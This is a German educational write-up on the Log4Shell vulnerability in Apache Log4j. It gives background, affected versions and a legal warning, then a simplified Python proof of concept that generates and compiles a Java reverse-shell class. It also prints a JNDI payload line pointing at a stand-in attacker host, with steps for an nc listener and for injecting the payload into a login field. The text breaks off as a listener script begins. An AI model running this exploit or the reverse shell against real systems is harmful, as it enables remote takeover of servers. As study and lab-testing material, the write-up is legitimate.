
Bildungsanalyse von CVE-2021-44228 (Log4Shell) mit PoC-Skripten, Aufschlüsselung der Angriffsvektoren und Anleitungen zur Eindämmung zum Verständnis und Testen der kritischen RCE-Sicherheitslücke in Apache Log4j.
Kritische Auswirkung (CVSS 10.0) | Entdeckt im Jahr 2021, ermöglicht dieser Fehler in Apache Log4j die Remote-Codeausführung (RCE) und betrifft Millionen von Systemen weltweit. Noch heute ist es eine wichtige Erinnerung für die Cybersicherheit!
CVE-2021-44228, bekannt als Log4Shell, ist eine kritische Remote-Codeausführungs (RCE)-Schwachstelle in der Logging-Bibliothek Apache Log4j 2. Dieser Fehler ermöglicht es bösartigen Angreifern, beliebigen Code auf anfälligen Servern auszuführen, indem sie einfach eine speziell präparierte Textzeichenfolge senden, die von der Anwendung protokolliert wird.
Log4Shell blieb nicht allein; es führte zu CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) und CVE-2021-4104 (RCE in Log4j 1.2).
Der Kern des Problems ist die unsichere Handhabung von JNDI (Java Naming and Directory Interface) in Log4j, das Remote-Lookups ohne Bereinigung auflöst.
${jndi:ldap://angreifer.com:1389/Exploit}
So funktioniert es:
${...} und führt einen JNDI-Lookup aus.Ausnutzbare Protokolle: LDAP, RMI, DNS, IIOP usw. Dies ermöglicht Bedrohungen wie:
Infektionskette (Kill Chain):
| Merkmal | Detail |
|---|---|
| CVSS v3.1-Score | 10.0 (KRITISCH) 🔥 – Maximal möglicher Schweregrad. |
| Betroffene Versionen | Log4j 2.0-beta9 bis 2.14.1 (inkl. Abkömmlinge bis 2.16.0 für Sub-CVEs). |
| Grundursache | Ersetzung von JNDI-Nachrichten ohne Validierung; Remote-Lookups aktiviert. |
| Vektoren | Remote, ohne Authentifizierung; betrifft Java 8+ in Web-/Cloud-Apps. |
| Betroffene Produkte | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter und mehr. |
| Ausnutzung | Einfach: Öffentliche PoCs auf GitHub; keine Privilegien erforderlich. |
Auswirkungsstatistik:
90% der Cloud-Umgebungen anfänglich exponiert.
⚠️ Warnung: Dieser Inhalt ist ausschließlich für Bildungszwecke und autorisierte Tests bestimmt. Verwenden Sie dies nicht an Systemen ohne ausdrückliche Erlaubnis. Das Ausnutzen von Schwachstellen ohne Autorisierung ist illegal (z. B. Verstöße gegen Gesetze wie CFAA in den USA). Führen Sie stets ethisches Pentesting durch.
Basierend auf öffentlichen Repositories wie kozmer/log4j-shell-poc hier ein vereinfachter Überblick über einen PoC in kontrollierten Umgebungen (z. B. lokales Docker/VM).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (vereinfachter Reverse-Shell-Code)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Exploit-Klasse erfolgreich generiert')
except Exception as e:
print(Fore.RED + f'[-] Fehler: {e}')
# ... (Funktionen für LDAP-Server und Webserver analog zum Original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] Pädagogischer PoC für CVE-2021-44228 - Nur in Labs verwenden!")
# Argumente: --userip localhost --webport 8000 --lport 9001
# Startet LDAP, Webserver und generiert Payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 – Reverse Shell überwachen.${jndi:ldap://127.0.0.1:1389/a} in einem Login-/Suchfeld verwenden.Einfacher PoC in Python (Listener + Exploit): Für schnelle Demos dieses Duo an Skripten verwenden (zuerst Listener starten).
listener.py:
import socket
import threading